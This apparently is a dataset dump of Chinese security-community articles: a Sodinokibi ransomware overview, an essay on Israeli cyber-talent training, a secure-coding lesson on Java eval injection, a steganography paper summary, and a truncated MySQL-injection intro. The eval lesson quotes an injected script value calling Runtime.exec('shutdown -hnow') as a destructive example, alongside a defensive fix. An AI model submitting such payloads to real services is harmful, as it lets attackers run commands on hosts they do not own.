text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# Sodinokibi勒索病毒全解
##### 译文声明
本文是翻译文章，文章原作者 安全分析与研究，文章来源：安全分析与研究
原文地址：<https://mp.weixin.qq.com/s/iK8tQQ2sTa6YiVeoQlphMQ>
译文仅供参考，具体内容表达以及含义原文为准。
此前我写过一篇《威胁情报：揭密全球最大勒索病毒GandCrab的接班人》，揭露了一些关于Sodinokibi勒索病毒的传播渠道与细节，有兴趣的可以关注我的公众号，然后翻看之前的内容，最近国外一家安全公司也发布了一个报告，揭露Sodinokibi勒索病毒的相关信息，详细报告下载链接：
<https://www.tgsoft.it/immagini/news/20190705Sodinokibi/Sodinokibi_eng.pdf>
我仔细研究了它的报告，发现它跟我之前分析基本一致，这款勒索病毒首次出现是在2019年4月，利用Oracle WebLogic
Server漏洞传播，C.R.A.M. TG Soft(反恶意软件研究中心) 在最近几个月分析了这款勒索病毒的演变
这款勒索病毒在国内首次发现是4月份，于2019年5月24日首次在意大利被发现，使用RDP攻击的方式进行传播感染
Sodinokibi勒索病毒的作者，如果这是他们开发的第一个勒索病毒版本，我可以猜测他们要么就是有很长时间的安全研究经验，要么就是拿到了GandCrab的部分源代码进行改装，我在四月份就曾分析过这款勒索病毒与GandCrab中使用的CC通过的代码非常相似，可以确定就是这款勒索病毒肯定与GandCrab有关系，至少是利用了GandCrab的部分渠道进行传播，GandCrab勒索于六月份开始关闭了，似乎Sodinokibi勒索病毒成为了GandCrab接班人
国外这份分析报告详细介绍了Sodinokibi勒索病毒的相关信息，包含：
Sodinokibi感染传播方式，就目前发现的主要利用以下几种方式：
Oracle Weblogic Server漏洞
RDP攻击
垃圾邮件
APT水坑攻击方式
漏洞利用工具包和恶意广告下载
Sodinokibi会在内存中解密出一个json格式的配置信息，如下所示：
配置文件的格式，如下所示：
各个字段对应的描述信息，如下所示：
其中C2域名，有几百个之多
这个分析报告写的非常详细了，很值得一看，Sodinokibi勒索病毒会不会是下一个GandCrab，需要安全研究人员继续追踪，不过就目前发现的Sodinokibi勒索病毒分析结果来看，这款勒索病毒未非出现新的变种或大的变种，必竟这款勒索病毒出来才两个多月，在未来一定会出现它的新的变种和版本，因为背后的运营团队不会就此罢手，一定会不断更新它的版本和渠道……
Sodinokibi勒索病毒已经成为了GandCrab勒索病毒的接班人，可是遗憾的是：这款勒索病毒目前还没解密工具，全球各大企业和机构一定要做好相应的防范措施，以防中招!
本文转自：[安全分析与研究](https://mp.weixin.qq.com/s/iK8tQQ2sTa6YiVeoQlphMQ) | 社区文章 |
# 以色列网络安全人才培养理念、实践及特点剖析
##### 译文声明
本文是翻译文章，文章原作者 桂畅旎，文章来源：中国信息安全
原文地址：<https://mp.weixin.qq.com/s/QEXun5-mN-TV5r29Lkf_2A>
译文仅供参考，具体内容表达以及含义原文为准。
文│中国信息安全测评中心 桂畅旎
当前，网络安全人才短缺是世界各国政府面临的共同问题，特别是随着数字化的深入发展，网络安全人才发展与网络安全保障需求的差距不断扩大，各国均在寻求培养网络安全人才的“良策”。以色列作为网络安全强国，在网络安全人才培养上形成了独具一格又高效务实的人才培养模式。以色列是如何克服数量劣势打造网络安全人才高地？是如何融合意识提升、义务教育与产业发展建成人才利用生态圈？是如何从军民融合中汲取经验反哺网络安全产业发展？本文尝试对这些问题进行初浅分析，以期对我国网络安全人才培养有所借鉴。
**一、基础理念**
以色列立国原则以及犹太民族特性深刻塑造了以色列人才发展，再加上不利的地缘环境影响，使得以色列的网络安全人才培养深受以下几方面理念影响：
**（一）“教育立国”，重教育传统深植于犹太民族基因**
犹太宗教经典规定：学习和钻研是信仰的组成部分。犹太家庭和社团的学习氛围十分浓厚，崇尚知识、尊重学者是犹太人的生活准则。早在1948
年现代以色列国建立之前，犹太领导人就意识到，一个缺乏自然资源的贫穷小国要想生存和成功，唯一的办法就是通过教育加大对人力资本的投资。以色列一些领先的大学在建国之前已经成立，如以色列理工学院建立于
1912 年，希伯来大学建立于 1925 年，魏茨曼科学研究所建立于1934
年。以色列首任总理大卫·本·古里安曾表示“没有教育，就没有未来”，以色列在建国三年后即通过《义务教育法》与《国家教育法》，全面推行义务教育，其中尤以科学技术教育为重。以色列政府大力投资教育，据统计，以色列对国民教育的资金投入仅略低于其军事投入。这一系列举措为高质量的网络安全教育提供了基本保障。
**（二）“以质取胜”，成为以色列人才培养的基本策略**
面对狭小的国土面积，总量不高的人力资源，以及“强敌环伺”的地缘环境，本·古里安曾坦言“既然我们在数量上无法超越对手，那就必须在质量上赶超”，并将“实现技术优势和质量优势”作为六项“立国之本”之一，使得以色列在人才培养上追求“以质取胜”，通过提高人力资本质量优势来推动技术优势。为了实现这一长期目标，本·古里安试图聚集最优秀的科学人才，通过选拔实施所谓“英才教育”。1973
年以色列教育和文化部设立专门的英才教育局，建立“天才儿童培养制度”，将有特殊天分的儿童纳入英才教育体系开始培养。以色列的精英教育也取得了成效，根据经合组织数据，以色列每
1000 名雇员中约有17.4 名科学家和研究人员，占比最高。 **（三）“包容并蓄”，开放的移民文化充实以色列人才储备**
以色列人才优势在很大程度上还应归功于其开放包容的移民文化。受历史原因影响，以色列自建国起就把吸引世界各地的犹太人前来定居视为基本国策，专门制定了吸引犹太人回到并在以色列生活的《回归法》，吸引全球的犹太科学家、工程师向以色列聚拢。除犹太人外，以色列还非常注重引进海外高科技人才，早在
1973
年就设置“科学吸收中心”专门负责管理人才引进事务，并设立专项移民基金鼓励移民科学家开展研究。这使得以色列吸引了一大批来自欧美及前苏联在内的全球最优秀的科学家和工程技术人员，发展成为以色列创新的主体力量。值得注意的是，近年来俄罗斯大批高学历、高技能网络安全人才不断涌入以色列，极大增强了以色列网络安全人才储备，这反过来也为以色列网络安全防御带来了新的视角和方法。
**（四）“以用为本”，注重应用型、实用型人才培养**
人才作为一种特殊的资源，其价值在于最大可能地利用。以色列一直坚持把用好用活人才作为人才培养的核心环节，一方面重视激发学生潜能和自主发展，培养学生独立思考、善于钻研、乐于质疑、反向思维等能力；另一方面秉持非常务实的态度，注重教学与科研的结合，培养具有强大市场需求的应用型、实用型人才。特别是在培养网络安全人才以应对不断变化的网络空间问题上，以色列兼顾创新创造和“问题导向”，强调通过快速的技术创新来应对不断变化的安全挑战，这也驱使以色列网络安全公司善于开发灵活、适应性强的解决方案，这对全球用户具有极大吸引力。
**（五）“居安思危”，体现了以色列人才培养的价值取向**
犹太人的文化传承中有很强的危机意识，这种意识让以色列变成了去国千年而复国，丧失语言千年而复兴的奇迹。在这种历史因素影响下，以色列始终强调“每当幸运来临的时候，犹太人总是最后感知；而每当灾难来临的时候，犹太人总是最先感知”，一直将危机意识和风险管理贯彻以色列网络安全人才培养始终，努力成就逆境生存能力。正如以色列前总理本雅明·内塔尼亚胡在2016
年度“网络安全技术大会”的致辞中强调，“在万物互连的时代，一切都可以被渗透，一切皆可能被破坏，一切有可能被颠覆”。对于网络安全人才的培养和价值塑造潜藏了以色列居安思危，转危为安的文化基因和生存本能。
**二、体系培育**
以色列在政府、企业、高校、科研院所、军队形成了“政产学研军”五位一体的网络安全人才培养体系，构建了独具特色的人才培养创新生态。
**（一）政府：规划网络安全人才发展顶层设计** 以色列政府在规划、统筹、激励网络安全人才上发挥了积极作用。
**一是将网络安全人才培养上升为国家网络安全战略的重要内容。** 以色列政府 2011 年颁布的第
3611号决议即《提升国家网络空间能力》中明确提出促进产业界和学术界创新和研究，增强国家网络专用性人力资本。2017
年颁布的《以色列国家网络安全战略》要求提升国家在网络领域的人力资本，培育相互补充的生态系统，支持学术研究，以及在以色列顶尖大学建立 6 个研究中心。2021
年颁布的《以色列国际网络安全战略》认为以色列网络生态系统由人、知识和设施组成，需要在学术研究、产业创新和人力资本上持续投资。培养网络安全人才成为以色列建成网络安全强国的重要支撑。
**二是通过资金支持和政策扶持推进网络安全成为热门职位。** 以色列政府不断向网络安全产业注入大量资金，提高教育补贴。据统计，以色列的研发投资占比 GDP
全球最高，其中网络安全科研投入居世界前茅。2018 年，以色列政府宣布分三年向网络安全行业投资 9000
万谢克尔（2400万美元），补贴围绕高风险活动进行研发的公司。持续的政府注资以及可期的前景使得网络安全职业在以色列成为可以与金融行业媲美的热门职业。根据英特尔公司的调查显示，“网络安全已经成为以色列最赚钱的一个行业”，“在以色列每个人都想进入网络安全领域”已经成为现实。2016
年底，以色列政府推出“创新签证计划”，海外创业者能够利用以色列的技术设施、商业系统以及工作空间创业，极大吸引了国际网络安全人才。
**三是引导高校建立培训项目与网络创新中心。** 为推动学生无缝进入工作岗位，内塔尼亚胡 2017年宣布建立专门的国家网络教育中心（NCCC），并配以
600 万美元的五年预算，帮助网络安全求学者为职业生涯做好准备。以色列政府还出资建立了大量的创新中心和培训项目，以色列国家网络局（INCB）投入 6000
万美元在 5
所顶尖大学建立的网络安全研究中心已经初具规模，其中希伯来大学网络安全研究中心专注于网络和协议、国际法研究；特拉维夫大学布拉瓦尼克跨学科网络研究中心（Blavatnik）在网络安全不同方面已开展了
60
多项前沿研究；以色列理工大学网络安全研究中心专注于网络威胁情报的收集、整合、分析、预警；巴伊兰大学网络安全研究中心专注于加密研究；本·古理安大学网络安全研究中心设置网络攻击模拟实验室、恶意软件分析实验室、行动安全实验室及物联网安全实验室，这类研究中心成为以色列政府和学术界在网络安全研究的典型合作。
**（二）军队：成为网络安全人才创新创业的中心**
以色列深度的“军民融合”造就了源源不断的有才华、受过军事训练、实战经验丰富的人员从军队中走出来进入网络安全产业，成为以色列网络安全领军人才的重要来源。
**一是强制兵役制度磨练出“军事级别”的网络技能。** 以色列实行义务兵役制，规定每一个年满18
岁的公民都必须加入军队服役两至三年，这成为学习和磨练先进网络安全技能的试验场。以色列国防军（IDF）通过国家标准化考试，将优秀人才纳入技术部队或作战部队，培养网络攻防、加解密等“军事级别”的网络技能，造就一批批既有专业知识又训练有素的网络安全人员。在所有的军事队伍中，以色列信号情报国家部队（又称为
8200 部队）被称为以色列网络安全人才的“摇篮”。据统计，以色列高科技领域 90% 的成年人都曾服过兵役，其中大部分的佼佼者来自于 8200部队。8200
部队不只教授新兵网络技能，更培养批判性思维以及团队协同作战能力。许多雇员更是将在 8200 部队服役的经验视为“军事资本”，进行优先招聘。
**二是教育下沉培养“学习型士兵”。** 为尽快寻找到合适人选，IDF 实施了一项名为“学术储备”（Academic
Reserve，希伯来语为“阿图达”）的培训计划，推动部分特别有天赋的高中生服兵役期间甚至之前获得科学技术相关的大学学位。“学术储备”计划实质是 IDF
的学术筛选计划，每年在准备服兵役的 10 万名高中毕业生中选出约1000 名优秀者，资助他们获得相关技术方向的大学学位后再服兵役，这使得 25% 的 IDF
军官拥有科学和工程专业学士学位。1979 年，“学术储备”成立子项目“高台”（Talpiot）计划，主要面向即将入伍的优秀高中生提供为期 40
个月的精英培训项目，包括物理、数学、计算机科学等科目学习，并且与军事训练结合，培养出了一支兼具技术与军事才能的精英部队，成为以色列作战部队和国防科技界之间的粘合剂，在推动以色列的技术和网络产业发展方面发挥了重要作用。
**三是提前选拔优秀人才培养实用型网络安全人才。** 2010
年，以色列国防部与慈善机构拉什基金会联合启动“成就”（Magshimim）项目，主要培训来自贫困地区有才华的高中生，包括培训学生构建算法思维过程、了解计算机和互联网的结构、分析计算机系统，培养创造性思维。该项目被称为“黑客预科班”，已成功培养了一批优秀的网络安全候选人，培训者完成高中学业时的技能堪比北美计算机科学本科生，目前已成为以色列官方网络培训项目。
**四是独具特色的军队与产业“旋转门”造就了网络安全领军人才。**
以色列的兵役制度不仅训练了士兵承担风险和专注于任务的精神，同时还间接提供了强大的人际商业网络，许多士兵在长期共同作业、一起执行军事任务时建立起深厚友情，为后续的创业奠定了坚实的人际基础。许多以色列人将军队视为一种“社会化中介”，将在军事情报、技术部门服务视为通往商业世界的最佳捷径，一起服役的士兵间保持良好的关系，甚至退役后一起组建创业团队。此外，以色列军队规定网络安全部队士兵结束服役后，可以使用不涉及核心机密技术的知识帮助其后续个人创业，这极大促进了军事技术的商业化转化。以色列许多享誉世界的网络安全公司的创始人大多具有军队服役背景。
**（三）学校：培养和输送实用型网络安全专业人才**
以色列政府认为培育年轻人网络技能是一项国家使命，鼓励网络安全教育从小抓起。网络安全教育在以色列非常普及，下至基础教育，上至高等教育，均将网络安全培养作为重要内容。
**一是基础教育阶段筑牢网络安全根基。** 以色列强制性网络安全教育正式开始于四年级（约 9—10 岁），网络安全教育课程主要教授通过
Scratch（由美国麻省理工专门为少年儿童开发的一款学习编程的软件）进行短程序开发，每周保障 2 学时课程；2012
年起，以色列在七到九年级的初中阶段将网络安全列入科学和技术卓越项目（STEP）作为选修，开始教授算法、网络安全和密码学等高阶课程；从 20 世纪 90
年代开始，以色列十到十二年级的高中学生就需要完成 540 小时的 CE（计算机工程）和 CS（计算机科学）学习，网络防御是重点学习内容。
**二是高等教育阶段重在培养网络攻防能力。**
以色列顶尖大学都开设了网络安全相关科目，包括希伯来大学、特拉维夫大学、海法大学、本·古里安大学、以色列理工大学等在计算机、通信、电子工程、软件工程等学科领域都具有很高水平，成为以色列网络安全人才培养的主力军。以色列高等教育重在培养实用型人才，注重提升学生攻防能力，设置了渗透测试、网络防御、数字取证、恶意软件分析等课程，并且提供“网络靶场”实践体验，通过模拟真实的网络攻击场景和攻防过程培养攻防能力。这种将教育与实践紧密结合的方式，为政府、军队和私营部门提供了高适配的网络人才，使得大学真正成为网络安全的摇篮。
**（四）产业：市场需求牵引网络安全人才建设** 以色列网络安全产业发展迅速、规模庞大、方向多元，为以色列的网络安全人才培育、发展以及输出提供了广阔的市场。
**一是繁荣的网络安全产业发展刺激人才需求。** 以色列网络安全部门在 2021 年筹集了 88.4 亿美元的资金，比 2020 年的 27.5
亿美元增长了三倍多，全球网络安全领域 40% 的私人投资流向了以色列，420
多家活跃的网络安全技术初创企业发展欣欣向荣。持续发展的网络安全产业以及创新速度使得网络安全人才需求远远大于供给。可以说以色列在网络安全方面的职位空缺并不是程序员短缺导致的，而是该领域的创新速度不断创造了对新兴职业的庞大需求。此外，国际性网络安全企业的“入驻”进一步优化了以色列网络安全人才市场，许多国际性企业看重以色列的技术人才，谷歌、脸书、英特尔、三星等科技企业不仅把海外研发中心设在以色列，更是直接收购以色列初创公司以在当地“招兵买马”，需求进一步扩大。据统计，以色列每
10 名科技员工中就有 1人在网络安全领域工作。 **二是“进校园”设立专项基金支持学生创业。**
以色列许多企业与高校联系紧密，通过设置专门的网络安全项目与基金，以期为学生提供先进的实践训练，使其在正式工作之前可以磨练自己的技能。例如，2018 年以色列
Fresh 基金公司与本·古里安大学联合推出了一项名为仙人掌资本(Cactus
Capital)的风险投资基金，由接受过风险投资培训的学生运营，专注于学生创业投资。在以色列“网络星火”（CyberSpark）科技园区，几乎每个企业和大学都有一个合作研发的项目，以色列著名的风投公司耶路撒冷风投基金
JVP 专门在 CyberSpark 建有孵化器，资助大学实验室中诞生的想法并开展成果转化。 **三是直接“开班”培养最需要的人才。**
越来越多的以色列网络安全企业基于自身业务需求直接开设网络安全学院培养网络安全人才。例如，以色列捷邦安全软件技术有限公司（Check
Point）开设了自己的安全学院，打造了安全教育课程（Secure
Academy）品牌，主要与以色列国内外大学、学院和高等教育机构合作，向学生介绍网络安全概念，培养学生识别和解决安全威胁的能力。目前该课程已在 40
多个国家的 100 所大学开设。学生完成课程后将获得业界认可的网络安全技能证书，并获得在捷邦全球办事处或其 5000
多个附属机构的面试机会。可以看出，捷邦这类企业在安全学院、企业及其合作伙伴之间建立一个生态系统，形成“招生—培养—利用”的自循环模式。
**（五）研究机构：提升人才培养质量抢占国际市场**
部分研究部门、认证机构以及网络安全教育企业针对当前国际网络空间的发展形势，在辅助教育、强化认证、拓宽市场上发力，极大提升了以色列网络安全人才培养的质量与品牌建设。
**一是教育研究机构辅助提升实践能力。**
为配合学历教育，以色列许多研究机构开设了网络安全职业培训。如霍隆技术学院（HIT）作为以色列高等教育委员会认证的研究型学院，在网络安全领域构建了完善的职业技能课程体系，包括计算机架构、操作系统基础、网络安全防御、网络安全风险管理等。相比于学历教育，这类职业培训更能适应社会需求，针对性更强。
**二是测评认证机构推动培训标准化。**
以色列具有一批高质量的网络安全测评认证机构，开展基础、进阶、专业的网络安全测评认证，包括高质量的网络安全人才测评认证制度。例如，为解决网络安全培训领域碎片化问题，以色列国家网络教育中心下设的知识中心（The
Knowledge Hub）正在搭建一个全国性框架，以期实现人才培训计划和流程的标准化。 **三是网络安全教育企业包装产品开拓国际市场。**
正如一位以色列网络安全教育企业负责人所言，“以色列已经准备好分享其网络安全知识，网络安全教育也不例外”。目前，包括
Cyberbit公司在内的以色列网络安全教育企业正在开发标准化的攻防课程，在印度、菲律宾等发展中国家，甚至在美国等发达国家提供网络安全教育培训外包服务，打造以色列网络安全教育品牌。
**三、基本特点**
以色列网络安全人才培养的做法既拓宽人才来源实现“量”的增加，更重要的是不断完善培养内容注重人才“质”的提高，通过创新培养形式，形成融合、互促的良性生态。
**（一）人才来源上“广开门路”，注重多样性**
为解决人才短缺问题，以色列将培养多样化人才作为网络安全人才培养的重点。其一是在拓宽培养对象上，加大对少数群体的培养，特别是加强女性网络安全人员的培养力度。包括
8200
部队在内的政府部门正在强调对于女性网络安全人才的需求，以色列国家网络教育中心专门创建了“网络女孩”项目，通过举办黑客马拉松、培训课程提升女性的网络安全能力，促进高科技领域以及以色列网络部队培训并招募女性工作者。其二是在培养时间上，将“选人”关口不断前移。以色列政府意识到，孩子越早开始学习电脑技术和网络安全越好，因此通过教育下沉的方式，将学生网络安全培养计划辐射至小学初中阶段，专门开设网络安全相关课程，培养孩童的网络安全意识、兴趣，发掘适合从事网络安全行业的“天才”，甚至针对部分幼儿设计了一系列额外的技术教育项目。其三在用人标准上，“不拘一格降人才”。不少网络安全“天才”并不具有高学历，以色列针对网络安全的新特点，对各怀绝技的网络技术人才“别开生面”，通过培训物色和“招安”这类电脑“极客”。此外，以色列宽松的国籍管理政策也有利于其吸引高端技术人才。
**（二）培养范围上“全方位”“多层次”，强调针对性**
以色列的网络安全教育传承了犹太人善于通识教育、主张笨鸟先飞的传统，覆盖面广同时兼具因材施教，不断推动教育普及度与针对性。其一是资助广泛的网络安全培训计划，满足不同学术背景和特长的学生，其中典型的有塔普克(Tapuach)，无限实验室（Infinity
Labs），以色列技术挑战（Israel Tech Challenge，ITC），试验开始（Experis
Kickstart），提升学院（Elevation Academy），卡夫·马什夫（Kav
Mashve）和月见草（Primrose）计划，不同计划面向的受众不同，极大降低了网络安全职业的门槛。其二是针对网络安全“天才”实行精英教育，如以色列总理府
2013
年启动的“网络精英培养”法案，意在选拔有天赋的大、中学生参与，打造“数字天穹”。其三是针对非网络安全专业人士普及网络素养。网络安全在以色列已经成为非技术领域的研究课题，广泛辐射至商业、法律、刑事司法、金融等领域，因此以色列高校普遍开设了网络素养课程，为非网络安全专业人员提供基础知识。例如，特拉维夫大学为法律专业的学生开展网络安全素质培训，确保他们在毕业后能够独立解决网络安全问题。
**（三）培养主体上协同配合，突出互补性**
以色列政府、军方、企业、大学和研究机构之间的合作创造了一个相互衔接、互为补充的良性生态系统，而各个主体内部又自成一体形成“小气候”，环环相扣，共同组成以色列的网络安全人才培养图景。其一是军民之间的联动，IDF
为大多数士兵分配合适的网络安全培训和职业道路，而网络安全市场显示出对拥有军事培训经验的偏好，优先选择在技术部队中服过役的军人，使得以色列的军事人力资本溢出辐射至民用网络安全领域。其二是学术界与产业界的联动，突出表现在以色列各大学与企业合作建立了成熟和高效的成果转化机制，使得科学研究成果可以迅速转化为产业发展。许多网络安全初创企业均是源于大学旁边的产业园，享有信贷、税收等方面的优惠政策，帮助孵化师生研究成果。其三是政府与学界的互动，为解决初入社会工作者经验缺乏问题，以色列政府资助成立了大量的培训项目，如“以色列技术挑战”（ITC）主要以编程集训营的方式，设置约
2 至 5 个月的训练，填补学校到就业市场间的人才需求缺口，为不同背景的人进入高科技研发领域提供机会。 **（四）培养形式上寓教于乐，体现实践性**
以色列注重人才培养形式的创新，不仅通过设置夏令营、集训营等传统方式，同时将游戏、AR等新应用运用于人才培养上。此外，以色列在“在线学习”上具有丰富的经验，各类高校均设立了在线学习中心，这极大提升了教育普及度。疫情期间，以色列各大学更是将许多精品网络安全课程线上化，在全球备受欢迎。如特拉维夫大学的密码学课程全球排名第一，在所有1750
门在线计算机课程中排名第六，甚至超过了普林斯顿和斯坦福等顶尖大学的课程，该大学的“解锁信息安全”课程涵盖了密码学、身份识别系统安全、互联网攻击和防御以及病毒和其他恶意软件等主题，该课程目前已经被来自
150 个国家的学生所选择。
**四、启 示**
网络空间的竞争，归根结底是人才竞争，人才培养同样是我国网络安全战略的重要内容之一。目前，我国网络安全人才培养取得了长足的进步，但与日新月异的科技发展和日益激烈的国际竞争需求相比，我们在“产学研用”上的协同配合，领军人物的培养，创新人才的锻炼，网安岗位的能力适配，大学毕业生实践经验等方向还有进一步发展的空间。对此，我国可借鉴以色列网络安全人才培养的经验，从以下几方面进一步强化网络安全人才培养的能力和水平。
**一是着力加强领军人才的培养。**
实践证明，领军人才对人才队伍建设具有引领带动作用，围绕我国网络强国战略、瞄准技术发展前沿和新兴战略产业，培养高层次创新型领军人才，坚持引进海外高层次人才与自主培养开发国内人才并举，大力集聚和培养一批海内外高端人才。
**二是注重跨学科和实用型人才的培养。**
在当前的网络安全学科建设中，既要注重基础理论和技术方法的培养，同时也要加强实战型技术的实践，培养学生具有较高的网络安全综合专业素质，解决好高校和科研院所培养的网络安全基础研究型人才和高水平应用型人才无法满足企业需求的问题。
**三是进一步促进产学研密切合作，加快科技成果转化。**
武汉国家网络安全人才与创新基地自投入使用以来在促进产学研用上发挥了积极的作用，在此基础上需进一步以网络安全关键技术研发和创新产业为核心，打造世界一流网络空间安全学院为目标，联合企业加快网络安全人才培养和人才输出，加快科技成果转化。
**四是优化管理，完善网络安全人才培训与认证，**
特别是要细化网安职业分类和岗位能力，建设网络安全从业人员评价体系，强化需求导向，规范市场发展。（本文刊登于《中国信息安全》杂志2022年第8期） | 社区文章 |
# 【缺陷周话】第48期：动态解析代码
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、动态解析代码
许多编程语言都允许动态解析源代码指令。这使得程序可以执行基于用户输入的动态指令。若不经过适当的验证，程序会错误地认为由用户直接提供的指令仅会执行一些无害的操作，会正常解析并执行该指令。远程用户可以提供特定URL以将任意代码传递给eval()语句，从而导致代码执行。该种攻击会使用与目标Web服务相同的权限执行代码，包括操作系统命令。本文以JAVA语言源代码为例，分析“动态解析代码”缺陷产生的原因以及修复方法。该缺陷的详细介绍请参见CWE
ID 95: Improper Neutralizationof Directives in Dynamically Evaluated Code
(‘Eval Injection’)（http://cwe.mitre.org/data/definitions/95.html）。
## 2、动态解析代码的危害
攻击者可以利用该漏洞注入恶意代码访问受限的数据和文件。几乎在所有情况下，注入恶意代码都可能导致数据完整性缺失，也有可能导致执行任意代码。
从2018年1月至2019年8月，CVE中共有1条漏洞信息与其相关。漏洞信息如下：
CVE | 概述
---|---
CVE-2018-7046 | DISPUTED Kentico 版本9到11中的任意代码执行漏洞允许远程认证用户通过页面 – >编辑 – >模板
->编辑模板属性来动态解析上下文代码以执行任意操作系统命令 。注意：供应商修复该漏洞，授权用户可以编辑和更新ascx代码布局。
## 3、示例代码
### 3.1 缺陷代码
上述代码是获取 JavaScript 脚本字符串并将该字符串值作为命令执行的操作。第15行获取请求参数script，第16行调用 Context
类的静态方法 enter(),该方法会返回一个与当前线程关联的对象cx。17行对象 cx 调用initStandardObjects()
方法用于初始化标准对象，执行结果将会返回一个Scriptable 实例化对象 scope。第18行调用 evaluateString ()
方法执行JavaScript 脚本字符串 code。当 script 参数值合法时，程序将会正常运行。例如，当该值为 “8 + 7 * 2″
时，result 变量被赋予的值将为
22。然而攻击者指定的语言操作既有可能是有效的，又有可能是恶意的。如果底层语言提供了访问系统资源的途径或允许执行系统命令，这种攻击甚至会更加危险。例如，JavaScript
允许调用 Java 对象。如果攻击者计划将 ” java.lang.Runtime.getRuntime().exec(“shutdown -hnow”)”
指定为script的值，则主机系统就会执行关机命令。
使用代码卫士对上述示例代码进行检测，可以检出“动态解析代码”缺陷，显示等级为高。在代码行第18行报出缺陷，如图1所示：
图1：动态解析代码检测示例
### 3.2 修复代码
在上述修复代码中，在第18行调用 setClassShutter() 方法，该方法参数为ClassShutter 接口的子类，需要实现接口方法
visibleToScripts(),方法用于控制程序中的类是否对脚本可见，在代码行第23行中指定不允许脚本访问或使用 java.lang.Runtime
包下的所有类及方法。使用代码卫士对修复后的代码进行检测，可以看到已不存在“动态解析代码”缺陷。如图2所示：
图2：修复后检测结果
## 4、如何避免动态解析代码
在任何时候，都应尽可能地避免动态的解析源代码。如果程序的功能要求对代码进行动态解析，应用程序不应该直接执行和解析未验证的用户输入。建议创建一份合法操作和数据对象列表，用户可以指定其中的内容，并且只能从中进行选择 | 社区文章 |
# 基于像素矢量成本的彩图隐写方案
##### 译文声明
本文是翻译文章，文章原作者 ieee，文章来源：ieeexplore.ieee.org
原文地址：<https://ieeexplore.ieee.org/document/8604053/>
译文仅供参考，具体内容表达以及含义原文为准。
## 1.前言
彩图作为通用的图像是良好的信息传播工具，本文从彩图像素矢量的角度设计并实现了隐写方案，经过多次隐写分析结果可知其具有良好的安全性能。
## 2.背景
现代图像隐写方案是在最小化嵌入失真理论框架下设计的，而失真与嵌入隐写信息的成本有密切的关联。近期，有学者已经提出了一种可用于彩色图像的CMD（clustering
modification directions，聚类修改方向）隐写方案，但其尚未充分利用颜色相关性的特征。
## 3.彩图隐写方案
### 3.1综述
在本文中，作者从CPV（color pixel
vectors，彩色像素矢量）的角度构建了彩色图最小化嵌入失真框架，提出了彩色图像的隐写术方案，其中来自同一像素位置的三个颜色分量形成一个矢量。嵌入成本是根据颜色像素矢量而不是单个颜色分量直接定义的。因此，可以在嵌入数据后更好地保留颜色相关性。作者提出了VPF（vector
product filtering
，向量乘积滤波）运算方法以简化基于向量的嵌入成本的构建过程。并将基于向量的成本转换为基于颜色成分的成本，此时，即可采用常规的隐写编码方案做编码操作，例如STCs（syndrome-trellis codes ，校正子网格码）。近期提出的CMD方案也可以加入到提出的隐写方案中以进一步提高性能。
### 3.2彩色图像最小化嵌入失真框架的构建
已知彩色图具有三个颜色通道，则做如下声明（嵌入概率和嵌入成本分别有四种标识方式，它们是一样的）：
在已有的知识经验基础下，本文规定在有效载荷的约束下最小化失真，如下：
上述公式中，详细说明如下：
嵌入概率结合公式（1）设计得：
其中：
为了方便失真函数的分析，声明彩色图嵌入成本和嵌入概率如下：
则针对彩色图像，最小化失真的公式（1）可展开为：
通过化简，可得：
### 3.3彩色图隐写方案
本方案概图如下图。
和传统的隐写方案相比，本方案主要有两点不同：
在这里，修改了基于CPV的嵌入成本的计算方式，主要分为计算基于CPV的成本集、分解CPV成本集为三个颜色分量成本。
**3.3.1计算基于CPV的成本集**
首先对每个颜色通道执行高通滤波运算，以获得残差图像。然后，使用一种称为残差相关性水平（RCL，Residual Correlation
Level）的方式来评估邻域中残差矢量之间的复杂关系。通过评估不同干扰模式下的RCL，生成RCL的相对变化即灵敏度指数（SI，Sensitivity
Index）来衡量干扰的影响。最后针对每种干扰模式对SI图像进行低通滤波运算，以获得最终的嵌入成本集。由于嵌入成本是基于CPV的，因此其包含了颜色通道内部和颜色通道之间的相关性。
下图是计算基于CPV的成本集的概图。
详细展开说明。第一步：
其中标识说明如下。
第二步：
相关标识说明如下。
第三步：
第四步：
相关标识说明如下。
**3.3.2分解嵌入成本集为三个颜色分量成本**
分解基于CPV的嵌入成本集为三个颜色分量成本，这样易于使用传统的3元编码器计算求解。
### 3.4融合的CPV-CMD隐写方案
研究表明，当局部区域嵌入信息后的修改模式朝相同方向同步时，秘密信息不易被检测到，近期提出的CMD即时应用这一思想设计实现的隐写方案。本文将CMD融合到基于CPV的隐写方案中。则最终的CPV-CMD隐写方案的隐写过程如下图。
详细的隐写过程说明如下。
## 4隐写方案应用于分析
### 4.1数据集+参数
基础数据集：BOSSBase
隐写算法：HILL、MiPOD、CPV、S-UNIWARD及其变体
使用了CFA去马赛克算法（PPG）和降采样算法（LAN、BIL）处理基础数据集，生成两个实验数据集：BOSS-LAN、BOSS-BIL
使用BOSSBase 生成10000对彩色的原始图像和隐写图像。在10000对原始图像和隐写图像中，随机选择5000对用于训练，5000对用于测试。
使用传统的隐写分析方案检测此隐写方案的安全性。在传统隐写分析方案中，分别使用SRMQ1、CRMQ1、SCRMQ1、SCRMQ1+GTM、SCRMQ1+SGF做特征提取，它们的分类器均使用Fisher线性判别器。
### 4.2隐写方案结果分析
实验结果如下图。
分析结果可知，CPV-CMD方案的隐写分析检测错误率更高，说明此隐写方案安全性更高。
### 4.3隐写方案贡献
(1)在彩色像素矢量上定义了嵌入成本，从而使得秘密信息可以自适应地分配到三个颜色分量中。
(2)嵌入成本集易分为个颜色分量的嵌入成本，有利于使用一般编码方案进行秘密信息的嵌入工作。
(3)提出的方案与CMD方案兼容。
### 4.4展望
（1）可改进方案使其适用于其他类型彩色图像（例如YCbCr的图像）。
（2）可改进方案使其满足一些实际工程类隐写术的需求（例如流隐写术）。
（3）可改进方案使其适用于JPEG图像的隐写。 | 社区文章 |
# 六问MySQL？你敢来挑战吗？
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
很久之前就想总结一篇SQL注入及其更深一层的渗透方面的笔记了，奈何一是下不了决心，二是（好吧，还是下不了决心）
今天无意之间翻找出自己之前学习做的笔记，决定重新整理、学习、分享，若其中有什么错误，还希望您们能够及时提出来。（本文主要以MySQL，后期还要学习MSSQL、Oracle）
## 一问？何为SQL注入
